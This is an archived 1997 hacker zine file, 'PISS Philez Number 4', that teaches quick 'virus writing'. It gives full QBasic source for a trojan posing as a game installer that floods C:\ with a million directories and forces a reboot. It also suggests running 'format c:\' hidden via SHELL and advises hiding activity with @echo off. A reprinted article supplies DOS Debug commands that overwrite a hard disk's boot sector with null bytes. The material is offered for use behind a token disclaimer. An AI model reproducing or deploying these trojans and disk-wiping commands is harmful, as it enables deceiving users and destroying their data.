home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / n_z / piss0004.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  9.3 KB  |  262 lines

  1. *************************************
  2. *       PISS PHILEZ NUMBER 4        *
  3. *                                   *
  4. *      Easy Quick Virus Writing     *
  5. *                                   *
  6. *          by Defenestrator         *
  7. *************************************
  8.  
  9. WARNING:  This file is for information only.  If you use it in any 
  10. harmful manner then me, my friends, PISS, and anyone I know cannot 
  11. be held responsible.
  12.  
  13. OVERVIEW
  14. --------
  15.  
  16. Today, viruses seem to be portrayed as anything which harms computers.  
  17. There are many types of files like this, like trojan horses, logic bombs, 
  18. real viruses, worms, etc.  But all these dumbass people think all of 
  19. these are viruses.  If you do, you're a fuckin idiot and should read more.  
  20. If you know these then skip this section.
  21.  
  22. Trojan Horse- a file hidden inside another seemingly okay file which does 
  23. stuff the masking program doesn't do.  The name is derived from Greek
  24. mythology, when during the Iliad the Trojans gave their enemies a big
  25. damn horse as a gift, but armies were hidden inside.  Just a little
  26. insight for ya.
  27.  
  28. Logic Bombs- program which has a certain condition which must be met 
  29. before the program starts- like the Michaelangelo virus of a few years 
  30. back.  It would only start on March 6, Michaelangelo's birthday, and
  31. would wipe the hard drive.  However, smart people figured just set the
  32. date wrong and skip the 6th.  
  33.  
  34. Viruses- program which reproduces itself onto several machines, 
  35. attaching on to files to procreate.
  36.  
  37. Worms- program which spreads from machine to machine using one machine 
  38. as a host (not used a lot)
  39.  
  40. EASY WRITING
  41. ----------
  42.  
  43. To truly write a simple trojan horse, use the simplest programming 
  44. language.  I either use batch programming or QBasic.  I also know 
  45. someone who does cooll stuff in DOS Debug.  All are absurdly easy to 
  46. write and evade the scanners with.  
  47.  
  48. BATCH PROGRAMMING
  49. -----------------
  50.  
  51. Batch programming, for those of you who are newbies or just stupid, is 
  52. taking MS-DOS batch commands and sticking them in a file which can be 
  53. run on its own.  
  54.  
  55. If you don't know MS-DOS commands, I'm NOT GONNA TEACH YOU CUZ YOU'RE 
  56. STUPID!  I use Linux and Win95 but still know all the DOS commands.  
  57. Just remember, before anything you write, put [@echo off] so that the 
  58. person getting this doesn't know what's going on.
  59.  
  60. QBASIC stuff
  61. ------------
  62.  
  63. QBasic is a REAL simple programming language, so if you want to learn 
  64. to program this is always a starting place.  I learned how to use the 
  65. old BASIC in like 3rd grade, which was like 10 years ago.  Most of the 
  66. commands are still almost the same.  And best of all, this program is 
  67. either free or comes with your computer (on Win95 you gotta go get it).  
  68. But it's not like I paid for any other program lately either, so to me 
  69. everything's free!
  70.  
  71. How can we use this to do cool things?
  72.  
  73. Like this:
  74. This is an example of a trojan horse I wrote which poses as an install 
  75. program for a game.  The "game" is made more realistic by zipping it 
  76. and adding bogus *.dat files which make it look like it's actually a 
  77. real program.
  78.  
  79. Here goes:
  80.  
  81. REM bitch by Defenestrator
  82. COLOR 14, 0
  83. PRINT "Are you in DOS?"
  84. INPUT x$
  85. IF x$ = "yes" THEN GOTO 1 ELSE GOTO 2
  86. 1 PRINT "Installing datafiles..please wait..."
  87. PRINT "This may take up to 20 minutes.."
  88. SHELL "cd\"
  89. FOR a = 1 TO 1000000
  90. a$ = STR$(a)
  91. c$ = "md" + a$ + ".hee"
  92. SHELL c$
  93. NEXT a
  94. CLS
  95. PRINT "P.I.S.S. 1.0 is now installed on your system"
  96. PRINT "Have a shitty day!"
  97. PRINT "Press Enter to reboot your system!"
  98. OUT &H64, &HFE
  99. END
  100. 2 PRINT "Go to DOS before running P.I.S.S. 1.0"
  101. END
  102.  
  103. Let's take this SIMPLE program apart.
  104.  
  105. This simple trojan horse poses as an installer, but instead makes 1 
  106. million directories from the c:\ drive which cannot be deleted without 
  107. being a real pain in the ass with Norton commander, or just 
  108. reformatting the hard drive.  
  109.  
  110. The shell "<DOS command>" runs a DOS command without showing it, which 
  111. is good if you want to be real easy and do shell "format c:\".
  112.  
  113. It's also a good idea to get a compiler for QBasic because the code can 
  114. be read by any text file viewer, which is the only major drawback of 
  115. QBasic.  That and it can't draw worth shit.
  116.  
  117. So if you want to learn more QBasic, e-mail me, look in the help files, 
  118. or keyword search on altavista.
  119.  
  120. DOS DEBUG
  121. ---------
  122. I don't know a lot of debug, so I'm gonna reprint an article in a mail 
  123. list I subscribe to.  This article is courtesy of w0rmh0le.  
  124.  
  125. Disclaimer: I am not responsible for any damage following the guidelines
  126. of this text may incur on your system. These commands can be dangerous
  127. if used incorrectly. I am not responsible for any damage of your life,
  128. liberty, and all that good stuff, blah, blah as a result of the misuse
  129. of any materials herein. Proceed with extreme caution. Have a nice day.
  130.  
  131. Dos Debug which is distributed with every version of Windows 95 has some
  132. interesting commands which I think many people have overlooked. In this
  133. post I will show you some very powerful things you can do with this
  134. tiny, harmless little program....
  135. Please note that commands are not case sensitive and I have used
  136. capitals in most cases for clarification.
  137.  
  138. To start debug, go get the dos command prompt (whichever way you
  139. prefer). You should get a hyphen "-" prompt.  You can type "?" followed
  140. by return at this time to get a list of all (documented) commands. All
  141. commands are followed by returns btw. Anyway, the commands we are
  142. interested in are L (load), W (write), and F (fill),  I'll explain load
  143. first.
  144.         NOTE: All values must be in hexadecimal. It sounds confusing at
  145. first, but it's really not once you know what you are doing.
  146.  
  147. To use load, one usually does something like this:
  148. -N foo.com
  149. -L 100
  150.  
  151. This tells the computer the name of the program you are working on, and
  152. where to load it into memory. However, we are going to use a more arcane
  153. method, which is called the absolute read. (voice echoes)
  154.  
  155. An absolute read simply allows you to read byte space straight off of
  156. any disk on your computer. You do this by first typing "L" at the
  157. hyphen, followed by the address in memory you want it loaded into,
  158. followed by a number specifying the drive number ( 0 = A:, 1 = B:, 2 =
  159. C:, etc. ) followed by the sector address to begin reading at followed
  160. by the amount of bytes to read. Easy, no? Hehe.
  161.  
  162. Ex.
  163. L 0 0 0 25
  164. This loads 25h bytes from the first sector of the floppy disk in A: into
  165. memory starting at offset 0h in the current segment. Note that a max of
  166. 80h bytes can be read at one time.
  167.  
  168. The write command is almost exactly the same as the read command, so it
  169. doesn't require much explanation now except that it does the opposite of
  170. the load command.
  171.  
  172. Ex.
  173. W 0 0 0 25
  174. This writes 25h bytes to A: from 0h in memory to the first sector of the
  175. disk.
  176.  
  177. To use fill, type "F" followed by the memory address you want to start
  178. filling at, followed by an "L", followed by how many bytes to fill and
  179. finally the byte you want to fill with.  The "L" does not mean load, but
  180. rather length.
  181.  
  182. Ex.
  183. F 100 L 25 FF
  184. This would fill 25h bytes starting at 100h in memory with the byte value
  185. FF which, by the way, is basically meaningless.
  186.  
  187. Now for the fun part. If you understand all of the above, either you are
  188. very persistant, or you know something of how disks really work.
  189. Bringing it all together is the key here. I will first show you an
  190. attack which can take less than a minute to do. My comments are followed
  191. by the semicolons.
  192.  
  193. C:\>debug
  194. -F 0 L 80 00    ;fill an area of memory with 00h null bytes.
  195. -W 0 2 0 80     ;write to the drive.
  196. -Q                    ;quit
  197.  
  198. This attack has just rendered the hard disk unusable in less than a
  199. minutes time. I recommend IF YOU KNOW WHAT YOU ARE DOING to try this out
  200. on a floppy disk. It will be rendered unusable. The commands follow:
  201.  
  202. C:\>debug
  203. -F 0 L 80 00
  204. -W 0 0 0 80     ;take note of the second zero PLEASE.
  205. -Q
  206.  
  207. Ok, Im done with the malicious stuff, onto some fun. I have found out
  208. that volume labels in dos start at the 27th byte of any hard or floppy
  209. disk. Check this out:
  210.  
  211. -L 0 0 0 80  ;change the second zero to whatever if you want.
  212. -E 27 xx xx xx xx    ;where the xx's are the new label in bytes. You
  213. have to insert your label backwards in pairs of two.
  214. -W 0 0 0 80     ;write to floppy.
  215. -Q                     ;quit
  216.  
  217. The "E" commands enters our bytes into memory.
  218.  
  219. Phun ex.
  220. -L 0 0 0 80
  221. -E 27 66 06 00 00  ;Figure this one out on your own...
  222. -W 0 0 0 80
  223. -Q
  224.  
  225. There are numerous other things you can play with too, so get some debug
  226. docs, or e-mail me for one I found. Have phun!
  227.  
  228. <-----a production of----->
  229.              \/\/0rmH0Le
  230.     w0rmh0le@hotmail.com
  231. "Internet security is an oxymoron"
  232.  
  233. ----------------------------------------------------------------------
  234. PISS - People into Serious Shit
  235.  
  236. Founderz - Defenestrator, PhrostByte
  237. Memberz - 
  238. Author Parselon
  239. Wu Forever
  240. kQs
  241. CGibbons
  242. Extinction
  243. Faekon/Homarid
  244. Grench
  245. Greenseed
  246. Tim 121
  247. Rhodekyll
  248.  
  249. Contributors- 
  250. Sameer Ketkar
  251.  
  252. Want more stuff?  Go to http://www.angelfire.com/sc/PISS/philez.html
  253. The site will change as soon as I get money for one..
  254.  
  255. E-mail the group at davematthews@rocketmail.com
  256.  
  257. ⌐1997 PISS Publications
  258. This file may be posted freely as long as this notice stays on the file.
  259. All rights reserved.
  260.  
  261.  
  262.